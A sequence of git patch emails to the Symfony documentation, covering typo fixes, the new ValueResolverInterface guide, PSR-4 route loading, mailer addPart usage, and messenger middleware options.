Subject: [PATCH 3795/7107] Fix a typo

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index ef358cdfd9c..de7c6ee8e30 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1,4 +1,4 @@
-17340Sending Emails with Mailer
+Sending Emails with Mailer
 ==========================
 
 .. versionadded:: 4.3

From 5dbace5e7e07aa6163d3b090895c4dc7e877cc35 Mon Sep 17 00:00:00 2001
From: Nicolas Lemoine <nico.lemoine@gmail.com>
Date: Tue, 18 Oct 2022 12:54:54 +0200
Subject: [PATCH 3796/7107] Fix `notifier.flash_message_importance_mapper`
 service definition

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 30893558654..b35db12f8ea 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -717,7 +717,8 @@ typical alert levels, which you can implement immediately using:
 
         # config/services.yaml
         services:
-            notifier.flash_message_importance_mapper: Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper
+            notifier.flash_message_importance_mapper: 
+                class: Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper
 
     .. code-block:: xml
 

From b6bcc3d0ededaef7974a519bbd8c2290df71acb9 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 18 Oct 2022 12:53:10 +0200
Subject: [PATCH 3797/7107] [HttpKernel] Replace ArgumentValueResolverInterface
 by ValueResolverInterface

---
 _build/redirection_map                        |   1 +
 ..._value_resolver.rst => value_resolver.rst} | 167 ++++++------------
 2 files changed, 55 insertions(+), 113 deletions(-)
 rename controller/{argument_value_resolver.rst => value_resolver.rst} (65%)

diff --git a/_build/redirection_map b/_build/redirection_map
index a44b2f213e8..57cd82d276a 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -538,3 +538,4 @@
 /email /mailer
 /frontend/assetic /frontend
 /frontend/assetic/index /frontend
+/controller/argument_value_resolver /controller/value_resolver
diff --git a/controller/argument_value_resolver.rst b/controller/value_resolver.rst
similarity index 65%
rename from controller/argument_value_resolver.rst
rename to controller/value_resolver.rst
index a2432ac8308..7f3ca0a50c2 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -9,7 +9,7 @@ In the :doc:`controller guide </controller>`, you've learned that you can get th
 your controller. This argument has to be type-hinted by the ``Request`` class
 in order to be recognized. This is done via the
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver`. By
-creating and registering custom argument value resolvers, you can extend this
+creating and registering custom value resolvers, you can extend this
 functionality.
 
 .. _functionality-shipped-with-the-httpkernel:
@@ -168,132 +168,88 @@ PSR-7 Objects Resolver:
 Adding a Custom Value Resolver
 ------------------------------
 
-In the next example, you'll create a value resolver to inject the object that
-represents the current user whenever a controller method type-hints an argument
-with the ``User`` class::
+In the next example, you'll create a value resolver to inject an ID value
+object whenever a controller argument has a type implementing
+``IdentifierInterface`` (e.g. ``BookingId``)::
 
-    // src/Controller/UserController.php
+    // src/Controller/BookingController.php
     namespace App\Controller;
 
-    use App\Entity\User;
+    use App\Reservation\BookingId;
     use Symfony\Component\HttpFoundation\Response;
 
-    class UserController
+    class BookingController
     {
-        public function index(User $user)
+        public function index(BookingId $id): Response
         {
-            return new Response('Hello '.$user->getUserIdentifier().'!');
+            // ... do something with $id
         }
     }
 
-Beware that this feature is already provided by the `#[ParamConverter]`_
-attribute from the SensioFrameworkExtraBundle. If you have that bundle
-installed in your project, add this config to disable the auto-conversion of
-type-hinted method arguments:
+.. versionadded:: 6.2
 
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/sensio_framework_extra.yaml
-        sensio_framework_extra:
-            request:
-                converters: true
-                auto_convert: false
-
-    .. code-block:: xml
-
-        <!-- config/packages/sensio_framework_extra.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:sensio-framework-extra="http://symfony.com/schema/dic/symfony_extra"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony_extra
-                https://symfony.com/schema/dic/symfony_extra/symfony_extra-1.0.xsd">
-
-            <sensio-framework-extra:config>
-                <request converters="true" auto-convert="false"/>
-            </sensio-framework-extra:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/sensio_framework_extra.php
-        $container->loadFromExtension('sensio_framework_extra', [
-            'request' => [
-                'converters' => true,
-                'auto_convert' => false,
-            ],
-        ]);
+    The ``ValueResolverInterface`` was introduced in Symfony 6.2. Prior to
+    6.2, you had to use the
+    :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`,
+    which defines different methods.
 
 Adding a new value resolver requires creating a class that implements
-:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`
-and defining a service for it. The interface defines two methods:
-
-``supports()``
-    This method is used to check whether the value resolver supports the
-    given argument. ``resolve()`` will only be called when this returns ``true``.
-``resolve()``
-    This method will resolve the actual value for the argument. Once the value
-    is resolved, you must `yield`_ the value to the ``ArgumentResolver``.
+:class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface`
+and defining a service for it.
 
-Both methods get the ``Request`` object, which is the current request, and an
+This interface contains a ``resolve()`` method, which is called for each
+argument of the controller. It receives the current ``Request`` object and an
 :class:`Symfony\\Component\\HttpKernel\\ControllerMetadata\\ArgumentMetadata`
-instance. This object contains all information retrieved from the method signature
-for the current argument.
+instance, which contains all information from the method signature. The
+method should return either an empty array (if it cannot resolve this
+argument) or an array with the resolved value(s).
 
-Now that you know what to do, you can implement this interface. To get the
-current ``User``, you need the current security token. This token can be
-retrieved from the token storage::
+.. code-block:: php
 
-    // src/ArgumentResolver/UserValueResolver.php
-    namespace App\ArgumentResolver;
+    // src/ValueResolver/IdentifierValueResolver.php
+    namespace App\ValueResolver;
 
-    use App\Entity\User;
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use App\IdentifierInterface;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface;
+    use Symfony\Component\HttpKernel\Controller\ValueResolverInterface;
     use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata;
 
-    class UserValueResolver implements ArgumentValueResolverInterface
+    class UserValueResolver implements ValueResolverInterface
     {
-        private $security;
-
-        public function __construct(Security $security)
+        public function resolve(Request $request, ArgumentMetadata $argument): array
         {
-            $this->security = $security;
-        }
-
-        public function supports(Request $request, ArgumentMetadata $argument): bool
-        {
-            if (User::class !== $argument->getType()) {
-                return false;
+            // get the argument type (e.g. BookingId)
+            $argumentType = $argument->getType();
+            if (
+                !$argumentType
+                || !is_subclass_of($argumentType, IdentifierInterface::class, true)
+            ) {
+                return [];
             }
 
-            return $this->security->getUser() instanceof User;
-        }
+            // get the value from the request, based on the argument name
+            $value = $request->attributes->get($argument->getName());
+            if (!is_string($value)) {
+                return [];
+            }
 
-        public function resolve(Request $request, ArgumentMetadata $argument): iterable
-        {
-            yield $this->security->getUser();
+            // create and return the value object
+            return [$argumentType::fromString($value)];
         }
     }
 
-In order to get the actual ``User`` object in your argument, the given value
-must fulfill the following requirements:
+This method first checks whether it can resolve the value:
 
-* An argument must be type-hinted as ``User`` in your action method signature;
-* The value must be an instance of the ``User`` class.
+* The argument must be type-hinted with a class implementing a custom ``IdentifierInterface``;
+* The argument name (e.g. ``$id``) must match the name of a request
+  attribute (e.g. using a ``/booking/{id}`` route placeholder).
 
-When all those requirements are met and ``true`` is returned, the
-``ArgumentResolver`` calls ``resolve()`` with the same values as it called
-``supports()``.
+When those requirements are met, the method creates a new instance of the
+custom value object and returns it as the value for this argument.
 
 That's it! Now all you have to do is add the configuration for the service
 container. This can be done by tagging the service with ``controller.argument_value_resolver``
-and adding a priority.
+and adding a priority:
 
 .. configuration-block::
 
@@ -308,7 +264,7 @@ and adding a priority.
 
             App\ArgumentResolver\UserValueResolver:
                 tags:
-                    - { name: controller.argument_value_resolver, priority: 50 }
+                    - { name: controller.argument_value_resolver, priority: 150 }
 
     .. code-block:: xml
 
@@ -325,7 +281,7 @@ and adding a priority.
                 <!-- ... -->
 
                 <service id="App\ArgumentResolver\UserValueResolver">
-                    <tag name="controller.argument_value_resolver" priority="50"/>
+                    <tag name="controller.argument_value_resolver" priority="150"/>
                 </service>
             </services>
 
@@ -342,7 +298,7 @@ and adding a priority.
             $services = $configurator->services();
 
             $services->set(UserValueResolver::class)
-                ->tag('controller.argument_value_resolver', ['priority' => 50])
+                ->tag('controller.argument_value_resolver', ['priority' => 150])
             ;
         };
 
@@ -351,26 +307,11 @@ the expected value is injected. The built-in ``RequestAttributeValueResolver``,
 which fetches attributes from the ``Request``, has a priority of ``100``. If your
 resolver also fetches ``Request`` attributes, set a priority of ``100`` or more.
 Otherwise, set a priority lower than ``100`` to make sure the argument resolver
-is not triggered when the ``Request`` attribute is present (for example, when
-passing the user along sub-requests).
+is not triggered when the ``Request`` attribute is present.
 
 To ensure your resolvers are added in the right position you can run the following
-command to see which argument resolvers are present and in which order they run.
+command to see which argument resolvers are present and in which order they run:
 
 .. code-block:: terminal
 
     $ php bin/console debug:container debug.argument_resolver.inner --show-arguments
-
-.. tip::
-
-    As you can see in the ``UserValueResolver::supports()`` method, the user
-    may not be available (e.g. when the controller is not behind a firewall).
-    In these cases, the resolver will not be executed. If no argument value
-    is resolved, an exception will be thrown.
-
-    To prevent this, you can add a default value in the controller (e.g. ``User
-    $user = null``). The ``DefaultValueResolver`` is executed as the last
-    resolver and will use the default value if no value was already resolved.
-
-.. _`#[ParamConverter]`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
-.. _`yield`: https://www.php.net/manual/en/language.generators.syntax.php

From 5029cb2289966617cfe80c30c2537a7e29af3a98 Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@protonmail.com>
Date: Wed, 19 Oct 2022 15:07:52 +0200
Subject: [PATCH 3798/7107] Add new cases covered by PhpAstExtractor

---
 translation.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/translation.rst b/translation.rst
index aea4501b593..2e0fa9ebf45 100644
--- a/translation.rst
+++ b/translation.rst
@@ -476,6 +476,8 @@ The ``translation:extract`` command looks for missing translations in:
 * Any PHP file/class stored in the ``src/`` directory that creates
   :ref:`translatable-objects` using the constructor or the ``t()`` method or calls
   the ``trans()`` method.
+* Any PHP file/class stored in the ``src/`` directory that uses
+  :ref:`Constraints Attributes <validation-constraints>`  with ``*message`` named argument(s).
 
 .. _translation-resource-locations:
 

From b532f3751e0296d2d8078afa21038c86f4d55e93 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Wed, 19 Oct 2022 15:40:15 +0200
Subject: [PATCH 3799/7107] [Notifier] Update FreeMobile DSN

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index b6a76ad86a1..40d3a80a027 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -71,7 +71,7 @@ AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_
 Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
 Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
-FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
+FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:API_KEY@default?phone=PHONE``
 GatewayApi      ``symfony/gateway-api-notifier``      ``gatewayapi://TOKEN@default?from=FROM``
 Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``

From 43e70430718b66b86c48aae9df22f724d5e4934a Mon Sep 17 00:00:00 2001
From: fullbl <8133457+fullbl@users.noreply.github.com>
Date: Wed, 19 Oct 2022 12:56:17 +0200
Subject: [PATCH 3800/7107] Correct time type return

time function returns an int, while DateTime::createFromFormat requires a string!
---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 934c425d368..cb77a1e376f 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -500,7 +500,7 @@ is mocked so it uses the mocked time if no timestamp is specified.
 Other functions with an optional timestamp parameter that defaults to ``time()``
 will still use the system time instead of the mocked time. This means that you
 may need to change some code in your tests. For example, instead of ``new DateTime()``,
-you should use ``DateTime::createFromFormat('U', time())`` to use the mocked
+you should use ``DateTime::createFromFormat('U', (string) time())`` to use the mocked
 ``time()`` function.
 
 To use the ``ClockMock`` class in your test, add the ``@group time-sensitive``

From 7ad5d9f5be6a9c60218930e13d9c7b2e5f5cd082 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 9 Aug 2022 23:12:37 +0200
Subject: [PATCH 3801/7107] [Security] Adding info where login attempts are
 stored

---
 rate_limiter.rst | 2 ++
 security.rst     | 4 ++++
 2 files changed, 6 insertions(+)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index c468025dc17..a99c01191af 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -360,6 +360,8 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
         }
     }
 
+.. _rate-limiter-storage:
+
 Storing Rate Limiter State
 --------------------------
 
diff --git a/security.rst b/security.rst
index e253dc68013..583f5e19f9a 100644
--- a/security.rst
+++ b/security.rst
@@ -1462,6 +1462,10 @@ You must enable this using the ``login_throttling`` setting:
 
     The ``login_throttling.interval`` option was introduced in Symfony 5.3.
 
+Internally, Symfony uses the :doc:`Rate Limiter component </rate_limiter>`
+which by default uses Symfony's cache to store the previous login attempts.
+However, you can implement a :ref:`custom storage <rate-limiter-storage>`.
+
 Login attempts are limited on ``max_attempts`` (default: 5)
 failed requests for ``IP address + username`` and ``5 * max_attempts``
 failed requests for ``IP address``. The second limit protects against an

From ac2f7934fa8d246653b6528391f05dfe1807c616 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Wed, 19 Oct 2022 17:34:45 +0200
Subject: [PATCH 3802/7107] Document the PSR-4 route loader

---
 routing.rst                     | 17 ++++++++++++-----
 routing/custom_route_loader.rst | 31 ++++++++++++++++++++++++++++++-
 2 files changed, 42 insertions(+), 6 deletions(-)

diff --git a/routing.rst b/routing.rst
index 72534ea3d00..b0ebdf341f8 100644
--- a/routing.rst
+++ b/routing.rst
@@ -37,15 +37,22 @@ Otherwise, create the following file manually:
     # config/routes/attributes.yaml
     controllers:
         resource: ../../src/Controller/
-        type: attribute
+        type: attribute@App\Controller
 
     kernel:
-        resource: ../../src/Kernel.php
+        resource: App\Kernel
         type: attribute
 
-This configuration tells Symfony to look for routes defined as
-attributes in any PHP class stored in the ``src/Controller/``
-directory.
+This configuration tells Symfony to look for routes defined as attributes on
+classes declared in the ``App\Controller`` namespace which are stored in the
+``src/Controller/`` directory which follows the PSR-4 standard. In addition,
+our kernel can act as a controller as well which is especially useful for small
+applications that use Symfony as a microframework.
+
+.. versionadded:: 6.2
+
+    The possibility to suffix the ``attribute`` resource type with a PSR-4
+    namespace root was introduced in Symfony 6.2.
 
 Suppose you want to define a route for the ``/blog`` URL in your application. To
 do so, create a :doc:`controller class </controller>` like the following:
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 7dd81a0f8b5..12538a78311 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -24,11 +24,21 @@ Symfony provides several route loaders for the most common needs:
             # loads routes from the given routing file stored in some bundle
             resource: '@AcmeBundle/Resources/config/routing.yaml'
 
+        app_psr4:
+            # loads routes from the PHP attributes of the controllers found in the given PSR-4 namespace root
+            resource: '../src/Controller/'
+            type:     attribute@App\Controller
+
         app_attributes:
             # loads routes from the PHP attributes of the controllers found in that directory
             resource: '../src/Controller/'
             type:     attribute
 
+        app_class_attributes:
+            # loads routes from the PHP attributes of the given class
+            resource: App\Controller\MyController
+            type:     attribute
+
         app_directory:
             # loads routes from the YAML, XML or PHP files found in that directory
             resource: '../legacy/routing/'
@@ -51,9 +61,15 @@ Symfony provides several route loaders for the most common needs:
             <!-- loads routes from the given routing file stored in some bundle -->
             <import resource="@AcmeBundle/Resources/config/routing.yaml"/>
 
+            <!-- loads routes from the PHP attributes of the controllers found in the given PSR-4 namespace root -->
+            <import resource="../src/Controller/" type="attribute@App\Controller"/>
+
             <!-- loads routes from the PHP attributes of the controllers found in that directory -->
             <import resource="../src/Controller/" type="attribute"/>
 
+            <!-- loads routes from the PHP attributes of the given class -->
+            <import resource="App\Controller\MyController" type="attribute"/>
+
             <!-- loads routes from the YAML or XML files found in that directory -->
             <import resource="../legacy/routing/" type="directory"/>
 
@@ -70,9 +86,17 @@ Symfony provides several route loaders for the most common needs:
             // loads routes from the given routing file stored in some bundle
             $routes->import('@AcmeBundle/Resources/config/routing.yaml');
 
-            // loads routes from the PHP attributes (#[Route(...)]) of the controllers found in that directory
+            // loads routes from the PHP attributes (#[Route(...)])
+            // of the controllers found in the given PSR-4 namespace root
+            $routes->import('../src/Controller/', 'attribute@App\Controller');
+
+            // loads routes from the PHP attributes (#[Route(...)])
+            // of the controllers found in that directory
             $routes->import('../src/Controller/', 'attribute');
 
+            // loads routes from the PHP attributes (#[Route(...)]) of the given class
+            $routes->import('App\Controller\MyController', 'attribute');
+
             // loads routes from the YAML or XML files found in that directory
             $routes->import('../legacy/routing/', 'directory');
 
@@ -85,6 +109,11 @@ Symfony provides several route loaders for the most common needs:
     The ``attribute`` value of the second argument of ``import()`` was introduced
     in Symfony 6.1.
 
+.. versionadded:: 6.2
+
+    The possibility to suffix the ``attribute`` resource type with a PSR-4
+    namespace root was introduced in Symfony 6.2.
+
 .. note::
 
     When importing resources, the key (e.g. ``app_file``) is the name of the collection.

From 34881a8ab9a8f523cd8bb2a22ed1b15dce02ecee Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <ogizanagi@users.noreply.github.com>
Date: Thu, 20 Oct 2022 10:04:42 +0200
Subject: [PATCH 3803/7107] [Serializer] Fixup attributes import

---
 serializer.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index b37385b2238..1a478df6d0f 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -256,13 +256,14 @@ You can also restrict the usage of a context to some groups::
     namespace App\Model;
 
     use Symfony\Component\Serializer\Annotation\Context;
+    use Symfony\Component\Serializer\Annotation\Groups;
     use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
     class Person
     {
-        #[Serializer\Groups(['extended'])]
-        #[Serializer\Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
-        #[Serializer\Context(
+        #[Groups(['extended'])]
+        #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
+        #[Context(
             context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
             groups: ['extended'],
         )]

From f1c2056ece52dfed2e8d760094db3e77740e447b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 Oct 2022 13:39:15 +0200
Subject: [PATCH 3804/7107] Add the versionadded directive

---
 translation.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/translation.rst b/translation.rst
index 2e0fa9ebf45..32cbbfb98d2 100644
--- a/translation.rst
+++ b/translation.rst
@@ -479,6 +479,11 @@ The ``translation:extract`` command looks for missing translations in:
 * Any PHP file/class stored in the ``src/`` directory that uses
   :ref:`Constraints Attributes <validation-constraints>`  with ``*message`` named argument(s).
 
+.. versionadded:: 6.2
+
+    The support of PHP files/classes that use constraint attributes was
+    introduced in Symfony 6.2.
+
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations

From 262babab34042927db6d15e38aa8dcfc4e06b8b8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 Oct 2022 16:48:07 +0200
Subject: [PATCH 3805/7107] Tweaks

---
 controller/value_resolver.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 7f3ca0a50c2..2ece1fcaa7d 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -200,9 +200,12 @@ and defining a service for it.
 This interface contains a ``resolve()`` method, which is called for each
 argument of the controller. It receives the current ``Request`` object and an
 :class:`Symfony\\Component\\HttpKernel\\ControllerMetadata\\ArgumentMetadata`
-instance, which contains all information from the method signature. The
-method should return either an empty array (if it cannot resolve this
-argument) or an array with the resolved value(s).
+instance, which contains all information from the method signature.
+
+The ``resolve()`` method should return either an empty array (if it cannot resolve
+this argument) or an array with the resolved value(s). Usually arguments are
+resolved as a single value, but variadic arguments require resolving multiple
+values. That's why you must always return an array, even for single values:
 
 .. code-block:: php
 
@@ -214,7 +217,7 @@ argument) or an array with the resolved value(s).
     use Symfony\Component\HttpKernel\Controller\ValueResolverInterface;
     use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata;
 
-    class UserValueResolver implements ValueResolverInterface
+    class BookingIdValueResolver implements ValueResolverInterface
     {
         public function resolve(Request $request, ArgumentMetadata $argument): array
         {

From ebbffc551c3b1f0c6dc11452e9c218794c9d21ef Mon Sep 17 00:00:00 2001
From: "hidde.wieringa" <hidde.wieringa@nedap.com>
Date: Wed, 19 Oct 2022 16:27:34 +0200
Subject: [PATCH 3806/7107] Use `addPart` instead of `embed*` or `attach*`.

---
 mailer.rst | 39 +++++++++++++++++++++++++++------------
 1 file changed, 27 insertions(+), 12 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 6c4531ef19a..7f9d027eb39 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -446,24 +446,31 @@ result of rendering some template) or PHP resources::
 File Attachments
 ~~~~~~~~~~~~~~~~
 
-Use the ``attachFromPath()`` method to attach files that exist on your file system::
+Use the ``addPart()`` method with a ``BodyFile`` to add files that exist on your file system::
 
     $email = (new Email())
         // ...
-        ->attachFromPath('/path/to/documents/terms-of-use.pdf')
+        ->addPart(new DataPart(new BodyFile('/path/to/documents/terms-of-use.pdf')))
         // optionally you can tell email clients to display a custom name for the file
-        ->attachFromPath('/path/to/documents/privacy.pdf', 'Privacy Policy')
+        ->addPart(new DataPart(new BodyFile('/path/to/documents/privacy.pdf', 'Privacy Policy')))
         // optionally you can provide an explicit MIME type (otherwise it's guessed)
-        ->attachFromPath('/path/to/documents/contract.doc', 'Contract', 'application/msword')
+        ->addPart(new DataPart(new BodyFile('/path/to/documents/contract.doc', 'Contract', 'application/msword')))
     ;
 
-Alternatively you can use the ``attach()`` method to attach contents from a stream::
+Alternatively you can attach contents from a stream by passing it directly to the ``DataPart`` ::
 
     $email = (new Email())
         // ...
-        ->attach(fopen('/path/to/documents/contract.doc', 'r'))
+        ->addPart(new DataPart(fopen('/path/to/documents/contract.doc', 'r')))
     ;
 
+.. deprecated:: 6.2
+
+    In Symfony versions previous to 6.2, the methods ``attachFromPath`` and ``attach``
+    could be used to add attachments. These methods have been deprecated and replaced with
+    ``addPart``.
+
+
 Embedding Images
 ~~~~~~~~~~~~~~~~
 
@@ -472,25 +479,27 @@ instead of adding them as attachments. When using Twig to render the email
 contents, as explained :ref:`later in this article <mailer-twig-embedding-images>`,
 the images are embedded automatically. Otherwise, you need to embed them manually.
 
-First, use the ``embed()`` or ``embedFromPath()`` method to add an image from a
+First, use the ``addPart()`` method to add an image from a
 file or stream::
 
     $email = (new Email())
         // ...
         // get the image contents from a PHP resource
-        ->embed(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png')
+        ->addPart((new DataPart(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png'))->asInline())
         // get the image contents from an existing file
-        ->embedFromPath('/path/to/images/signature.gif', 'footer-signature', 'image/gif')
+        ->addPart((new DataPart(new BodyFile('/path/to/images/signature.gif', 'footer-signature', 'image/gif')))->asInline())
     ;
 
+Use the ``asInline()`` method to embed the content instead of attaching it.
+
 The second optional argument of both methods is the image name ("Content-ID" in
 the MIME standard). Its value is an arbitrary string used later to reference the
 images inside the HTML contents::
 
     $email = (new Email())
         // ...
-        ->embed(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png')
-        ->embedFromPath('/path/to/images/signature.gif', 'footer-signature', 'image/gif')
+        ->addPart((new DataPart(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png'))->asInline())
+        ->addPart((new DataPart(new BodyFile('/path/to/images/signature.gif', 'footer-signature', 'image/gif')))->asInline())
 
         // reference images using the syntax 'cid:' + "image embed name"
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')
@@ -503,6 +512,12 @@ images inside the HTML contents::
 
     The support of embedded images as HTML backgrounds was introduced in Symfony 6.1.
 
+.. deprecated:: 6.2
+
+    In Symfony versions previous to 6.2, the methods ``embedFromPath`` and ``embed``
+    could be used to embed images. These methods have been deprecated and replaced with
+    ``addPart`` together with inline ``DataPart``s.
+
 .. _mailer-configure-email-globally:
 
 Configuring Emails Globally
@@ -1489,7 +1504,7 @@ FailedMessageEvent
     {
         // e.g you can get more information on this error when sending an email
         $event->getError();
-        
+
         // do something with the message
     }
 

From e29a87326bb6a90b5984991fc153de1898b35140 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 Oct 2022 17:23:19 +0200
Subject: [PATCH 3807/7107] Minor tweak

---
 mailer.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index cb27b4ab878..8c94cc75d1a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -466,10 +466,9 @@ Alternatively you can attach contents from a stream by passing it directly to th
 
 .. deprecated:: 6.2
 
-    In Symfony versions previous to 6.2, the methods ``attachFromPath`` and ``attach``
-    could be used to add attachments. These methods have been deprecated and replaced with
-    ``addPart``.
-
+    In Symfony versions previous to 6.2, the methods ``attachFromPath()`` and
+    ``attach()`` could be used to add attachments. These methods have been
+    deprecated and replaced with ``addPart()``.
 
 Embedding Images
 ~~~~~~~~~~~~~~~~
@@ -514,9 +513,9 @@ images inside the HTML contents::
 
 .. deprecated:: 6.2
 
-    In Symfony versions previous to 6.2, the methods ``embedFromPath`` and ``embed``
-    could be used to embed images. These methods have been deprecated and replaced with
-    ``addPart`` together with inline ``DataPart``s.
+    In Symfony versions previous to 6.2, the methods ``embedFromPath()`` and
+    ``embed()`` could be used to embed images. These methods have been deprecated
+    and replaced with ``addPart()`` together with inline ``DataPart`` objects.
 
 .. _mailer-configure-email-globally:
 

From 4d7398fdc7490b785e24ba4c8700d34c75498da0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20REYNAUD?=
 <jeremy.reynaud@kissthebride.fr>
Date: Fri, 21 Oct 2022 09:19:16 +0200
Subject: [PATCH 3808/7107] #17378: Add documentation for allow_no_senders

---
 messenger/multiple_buses.rst | 22 ++++++++++++++++++----
 1 file changed, 18 insertions(+), 4 deletions(-)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 724c58d5e3f..3bab5a69221 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -36,7 +36,12 @@ an **event bus**. The event bus could have zero or more subscribers.
                     event.bus:
                         # the 'allow_no_handlers' middleware allows to have no handler
                         # configured for this bus without throwing an exception
-                        default_middleware: allow_no_handlers
+                        # the 'allow_no_senders' middleware allows to have no sender
+                        # configured for this bus without throwing an exception
+                        default_middleware:
+                            enabled: true
+                            allow_no_handlers: false
+                            allow_no_senders: true
                         middleware:
                             - validation
 
@@ -64,7 +69,10 @@ an **event bus**. The event bus could have zero or more subscribers.
                     </framework:bus>
                     <!-- the 'allow_no_handlers' middleware allows to have no handler
                          configured for this bus without throwing an exception -->
-                    <framework:bus name="event.bus" default-middleware="allow_no_handlers">
+                    <!-- the 'allow_no_senders' middleware allows to have no sender
+                         configured for this bus without throwing an exception -->
+                    <framework:bus name="event.bus">
+                        <framework:default-middleware enabled="true" allow_no_handlers="false" allow_no_senders="true"/>
                         <framework:middleware id="validation"/>
                     </framework:bus>
                 </framework:messenger>
@@ -88,9 +96,15 @@ an **event bus**. The event bus could have zero or more subscribers.
             $queryBus->middleware()->id('validation');
 
             $eventBus = $framework->messenger()->bus('event.bus');
-            // the 'allow_no_handlers' middleware allows to have no handler
+            // the 'allowNoHandlers' middleware allows to have no handler
+            // configured for this bus without throwing an exception
+            // the 'allowNoSenders' middleware allows to have no sender
             // configured for this bus without throwing an exception
-            $eventBus->defaultMiddleware('allow_no_handlers');
+            $eventBus->defaultMiddleware()
+                ->enabled(true)
+                ->allowNoHandlers(false)
+                ->allowNoSenders(true)
+            ;
             $eventBus->middleware()->id('validation');
         };
 

